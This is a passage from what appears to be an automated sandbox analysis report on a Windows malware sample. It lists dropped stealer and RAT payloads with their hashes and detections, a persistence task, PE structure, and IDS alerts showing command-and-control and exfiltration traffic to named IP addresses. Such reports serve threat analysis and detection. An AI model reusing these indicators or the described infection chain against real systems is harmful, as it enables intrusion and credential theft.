PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\leg222[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1143296
Entropy (8bit):	7.890999314974424
Encrypted:	false
SSDEEP:	24576:Qvw9Ct6MIdI8o+6RIX9PUT+2rS8hObOGB1HNJWm88D/sA6z11VT0qrBk:59Ct6MgZ2rS8qO21bWf8zSzzNBk
MD5:	5486FD5B8200F34B23F23A21F8912ADE
SHA1:	379F7B095751116C9A6C56D0945CA12AE122D253
SHA-256:	1ECF603A32B23FDF06E0260F314F5390E9C062D74FA2FE65B05754E83C41DF46
SHA-512:	E9AD33509EFC7303B09A9633F9F6136BBA807DECA3B9032A91475A66C038B4A1DF44E036D9F7ACAE63F1854DF65D47C00C59E6E3D79E7C44A5A6AE631C512F3F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92% Antivirus: Virustotal, Detection: 82%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........1.kwb.kwb.kwbj.tc.kwbj.rc.kwbj.sc.kwb{.sc.kwb{.tc.kwbj.vc.kwb.kvb9kwb{.rc.kwbJ.~c.kwbJ.wc.kwbJ.b.kwbJ.uc.kwbRich.kwb........................PE..L...rj.f...............'............Y.............@.......................................@.........................`A..H....A..<.......................................................................@...............`............................text....x.......z.................. ..`.BsS.................~.............. ..`.rdata..............................@..@.data...\|+...P.......4..............@....rsrc................P..............@..@.reloc........... ...R..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1143296
Entropy (8bit):	7.890999314974424
Encrypted:	false
SSDEEP:	24576:Qvw9Ct6MIdI8o+6RIX9PUT+2rS8hObOGB1HNJWm88D/sA6z11VT0qrBk:59Ct6MgZ2rS8qO21bWf8zSzzNBk
MD5:	5486FD5B8200F34B23F23A21F8912ADE
SHA1:	379F7B095751116C9A6C56D0945CA12AE122D253
SHA-256:	1ECF603A32B23FDF06E0260F314F5390E9C062D74FA2FE65B05754E83C41DF46
SHA-512:	E9AD33509EFC7303B09A9633F9F6136BBA807DECA3B9032A91475A66C038B4A1DF44E036D9F7ACAE63F1854DF65D47C00C59E6E3D79E7C44A5A6AE631C512F3F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92% Antivirus: Virustotal, Detection: 82%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........1.kwb.kwb.kwbj.tc.kwbj.rc.kwbj.sc.kwb{.sc.kwb{.tc.kwbj.vc.kwb.kvb9kwb{.rc.kwbJ.~c.kwbJ.wc.kwbJ.b.kwbJ.uc.kwbRich.kwb........................PE..L...rj.f...............'............Y.............@.......................................@.........................`A..H....A..<.......................................................................@...............`............................text....x.......z.................. ..`.BsS.................~.............. ..`.rdata..............................@..@.data...\|+...P.......4..............@....rsrc................P..............@..@.reloc........... ...R..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Download File

Process:	C:\Users\user\Desktop\mlk3kK6uLZ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1880576
Entropy (8bit):	7.949860121922924
Encrypted:	false
SSDEEP:	49152:K23fbpRhR0OiwF7BESrgRSzLBEF7YcMs6:3zhR9FdVOFSz
MD5:	B85FA0D79D936B8B006C535D006C7F29
SHA1:	210085D4F3CF1CF08C34BAA5BFBA0B0FC5A6C639
SHA-256:	170004B7B6BAB6C3C860A6402F9D3D8988E4F3DE7682E28738C3C27AC33B0E1C
SHA-512:	263B04B455DD7AF8455ECA46FF9CF833D53A8A3D3C3A4BDF3CFC2EDFCF6993C19F2ECC6F2A61AD4C35B57264E3E08F545358C994EB8078AEB1D0403B218DA9A9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63% Antivirus: Virustotal, Detection: 72%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....^f..............................J...........@...........................J...........@.................................X...l...........................X.J...............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... .@.........................@...lkmvftub......0.....................@...ajmdtwbz......J.....................@....taggant.0....J.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\mlk3kK6uLZ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\Tmp2E6A.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VP2pdCInvS.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Reputation:	unknown
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\Tmp2E7A.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VP2pdCInvS.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Reputation:	unknown
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\76b53b3ec448f7ccdda2063b15d2bfc3_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Users\user\AppData\Roaming\VP2pdCInvS.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	0158FE9CEAD91D1B027B795984737614
SHA1:	B41A11F909A7BDF1115088790A5680AC4E23031B
SHA-256:	513257326E783A862909A2A0F0941D6FF899C403E104FBD1DBC10443C41D9F9A
SHA-512:	C48A55CC7A92CEFCEFE5FB2382CCD8EF651FC8E0885E88A256CD2F5D83B824B7D910F755180B29ECCB54D9361D6AF82F9CC741BD7E6752122949B657DA973676
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\VP2pdCInvS.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	311296
Entropy (8bit):	5.082978582796552
Encrypted:	false
SSDEEP:	3072:qq6EgY6iQrUjytA4dwP8Zk1tx/Efz+TAGtASRkFcZqf7D341eqiOLibBOh:pqY6iAwP6k1vQz+TAiAtFcZqf7DIfL
MD5:	15A7CAE61788E4718D3C33ABB7BE6436
SHA1:	62DAC3A5D50C93C51F2AB4A5EBF78837DC7D3A9F
SHA-256:	BED71147AA297D95D2E2C67352FC06F7F631AF3B7871EA148638AE66FC41E200
SHA-512:	5B3E3028523E95452BE169BDFB966CD03EA5DBE34B7B98CF7482CA91B8317A0F4DE224751D5A530EC23E72CBD6CC8E414D2D3726FEFEE9C30FEAB69DC348FA45
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 71% Antivirus: Virustotal, Detection: 82%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....6B...............0................. ... ....@.. ....................... ............@.....................................O.... ..............................x................................................ ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	390144
Entropy (8bit):	6.247444114287809
Encrypted:	false
SSDEEP:	6144:yRS/YGuDHJKi6sv5Ik97X6mYRA757d93PkVVcTdBMIVPv7pEVzTqHsDjHicCT:quYG0pKidpsmT757TPtTbj7EzOHs6
MD5:	1B75671FB234AE1FB72406A317FA752A
SHA1:	BD47C38B7FB55D013B85C60CD51C8C5EE56F3757
SHA-256:	499D5830B76DAFF19E04393BA05F63BAA893F8D86AE358FC59365A5938177CBE
SHA-512:	4C96D2C40862F73314394F48BC9C0930D5C51BFAA389185518C84AC921CEAFAB0F296DF48655A9640D4232265DAF67F3B0F4B886BFD31D230E8EC9ED11BBC2F5
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe, Author: Joe Security Rule: MALWARE_Win_zgRAT, Description: Detects zgRAT, Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe, Author: ditekSHen
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 64% Antivirus: Virustotal, Detection: 45%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....T................0......n........... ........@.. .......................`............@....................................K........j...................@....................................................... ............... ..H............text...4.... ...................... ..`.rsrc....j.......l..................@..@.reloc.......@......................@..B........................H.......`..........Y...$+...)..............................................(z...(.....0...........s........~....%:....&~......"...s....%.....(...+o.....8[....o...............%..F~1...(.....%..G~1...(.....%..H~1...(.....%..e~1...(.....~2...(.......o......8......(......s.......se.......~....}....~...........s....(....o....}......{.....I~1...(....o........9......I~1...(.......8C........~1...(....o....:......{....~3...(....8......{....~4...(.........(...........9........o.....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Reputation:	unknown
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	338
Entropy (8bit):	3.4738726491832703
Encrypted:	false
SSDEEP:	6:kK9dm483yJFN+SkQlPlEGYRMY9z+s3Ql2DUevat:pCxkPlE99SCQl2DUevat
MD5:	015C0158B153B5E76D0A4C440547840F
SHA1:	ACF5223FD19065817113A58A999EFCF866F27018
SHA-256:	B2B4F2CD3B769F1DC0665AF53B77233FD30077EB6B4204AC8E49FC20314E0863
SHA-512:	2CC6C58B4271F8778A8C7E4AE9F1833318EEDABA0D355501C6E1F8934346667A875FA0D0802E4892C41405514491E5438E4010C8B622328DDC58842CCDED8177
Malicious:	false
Reputation:	unknown
Preview:	p...... .........!.^....(.................................................L#... .........p.........$...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.d.i.s.a.l.l.o.w.e.d.c.e.r.t.s.t.l...c.a.b...".7.4.6.7.8.7.a.3.f.0.d.9.1.:.0."...

C:\Windows\Tasks\axplong.job

Download File

Process:	C:\Users\user\Desktop\mlk3kK6uLZ.exe
File Type:	data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.421629507439125
Encrypted:	false
SSDEEP:	6:KbX45ZsUEZ+lX1YC7UPelkDdtFXqYEp5t/uy0l143ut0:KrDQ1h7keeDNfXV143ut0
MD5:	95C6248707C5A56AA34DE57F5381ABBC
SHA1:	C62BE5318EE160D8813C23CECB61802D4EF58EBB
SHA-256:	E3F08E45998458078A2570099B00914623800E925C0B10CA0818A6A4DCC596ED
SHA-512:	FDEF237DD13C261BA5539D4543922F32E21CCB21FE04F680FD09EA2DBFB25897A293E97DFEA34BE0E2DE98120A7BA3F84C9D6DD944E385DCA4C7D8DB5543FB33
Malicious:	false
Reputation:	unknown
Preview:	......h%.GLJ.F...c*F.......<... .....s.......... ....................:.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.8.2.5.4.6.2.4.2.4.3.\.a.x.p.l.o.n.g...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421602560596251
Encrypted:	false
SSDEEP:	6144:5Svfpi6ceLP/9skLmb0OTxWSPHaJG8nAgeMZMMhA2fX4WABlEnN70uhiTw:wvloTxW+EZMM6DFyJ03w
MD5:	FE65CE1A416905F04323044EDD01BD54
SHA1:	40A099ECBCAA9AE0FF51F7F28B9B22451367E4C3
SHA-256:	743E07FB01E922269DC0AE0F6B64C4A230E2A33C2E6D477F7DCFE4F7C54F78FA
SHA-512:	4E41963B03F19AB5FCBFF280F80D5B3C06D1E66FD8AE9593F67AFC6DCDDBA1205FBF1CFAC7ECFC623D3D3EA873DACBDFD28F2EB708E0E53B86A9C9CBC267E352
Malicious:	false
Reputation:	unknown
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm~..\................................................................................................................................................................................................................................................................................................................................................:..h........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949860121922924
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	mlk3kK6uLZ.exe
File size:	1'880'576 bytes
MD5:	b85fa0d79d936b8b006c535d006c7f29
SHA1:	210085d4f3cf1cf08c34baa5bfba0b0fc5a6c639
SHA256:	170004b7b6bab6c3c860a6402f9d3d8988e4f3de7682e28738c3c27ac33b0e1c
SHA512:	263b04b455dd7af8455eca46ff9cf833d53a8a3d3c3a4bdf3cfc2edfcf6993c19f2ecc6f2a61ad4c35b57264e3e08f545358c994eb8078aeb1d0403b218da9a9
SSDEEP:	49152:K23fbpRhR0OiwF7BESrgRSzLBEF7YcMs6:3zhR9FdVOFSz
TLSH:	069533D57FAE2A15F0A146F99B23853375439003AB7BABB35D66CA38CD360C2165DC0B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8aa000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x665ECF2A [Tue Jun 4 08:24:10 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F80807F126Ah
seto byte ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F80807F3265h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0100000Ah], al
or al, byte ptr [eax]
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a058	0x6c	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4a8858	0x10	lkmvftub
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4a8808	0x18	lkmvftub
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2dc00	77a265ab3c5eaf781d142df58d245d9b	False	0.9985004696038251	data	7.9863934450517355	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	7ab72a0c5f50e8c294a379922ccd59d0	False	0.57421875	data	4.459607789925119	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	6e66ae8f9a75bc604a087c954abf8737	False	0.15234375	data	1.0684380430289213	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2a4000	0x200	2ae0ef4a90ccac61ed0c81bfd676f412	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lkmvftub	0x30f000	0x19a000	0x199a00	7ad9107fce44bfe5211ab4af797dd899	False	0.9946698819423253	data	7.953235940244863	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ajmdtwbz	0x4a9000	0x1000	0x400	d3ac0478ad445fa06382b7ed3a1cd93c	False	0.82421875	data	6.421745182590485	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4aa000	0x3000	0x2200	7fbefce03ab53f4b73482dfbc662a522	False	0.06755514705882353	DOS executable (COM)	0.771265821537485	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4a8868	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/13/24-07:07:04.553234	TCP	2051828	ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1	80	58981	85.28.47.70	192.168.2.5
07/13/24-07:07:00.456748	TCP	2044623	ET TROJAN Amadey Bot Activity (POST)	58978	80	192.168.2.5	77.91.77.81
07/13/24-07:06:08.592536	TCP	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	8970	49710	185.172.128.33	192.168.2.5
07/13/24-07:06:32.660417	TCP	2044623	ET TROJAN Amadey Bot Activity (POST)	58973	80	192.168.2.5	77.91.77.81
07/13/24-07:07:04.736461	TCP	2051831	ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	80	58981	85.28.47.70	192.168.2.5
07/13/24-07:07:03.747294	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	58981	80	192.168.2.5	85.28.47.70
07/13/24-07:07:03.629036	TCP	2044696	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2	58980	80	192.168.2.5	77.91.77.81
07/13/24-07:07:07.333581	TCP	2044696	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2	58983	80	192.168.2.5	77.91.77.81
07/13/24-07:06:19.054947	TCP	2043231	ET TROJAN Redline Stealer TCP CnC Activity	49710	8970	192.168.2.5	185.172.128.33
07/13/24-07:06:13.939319	TCP	2046056	ET TROJAN Redline Stealer/MetaStealer Family Activity (Response)	8970	49710	185.172.128.33	192.168.2.5
07/13/24-07:06:08.398513	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization)	49710	8970	192.168.2.5	185.172.128.33
07/13/24-07:07:04.374384	TCP	2044244	ET TROJAN Win32/Stealc Requesting browsers Config from C2	58981	80	192.168.2.5	85.28.47.70
07/13/24-07:07:04.555587	TCP	2044246	ET TROJAN Win32/Stealc Requesting plugins Config from C2	58981	80	192.168.2.5	85.28.47.70
07/13/24-07:06:01.501384	TCP	2856147	ETPRO TROJAN Amadey CnC Activity M3	49704	80	192.168.2.5	77.91.77.81
07/13/24-07:06:02.494732	TCP	2856122	ETPRO TROJAN Amadey CnC Response M1	80	49704	77.91.77.81	192.168.2.5
07/13/24-07:06:04.782188	TCP	2044696	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2	49705	80	192.168.2.5	77.91.77.81

Network Port Distribution

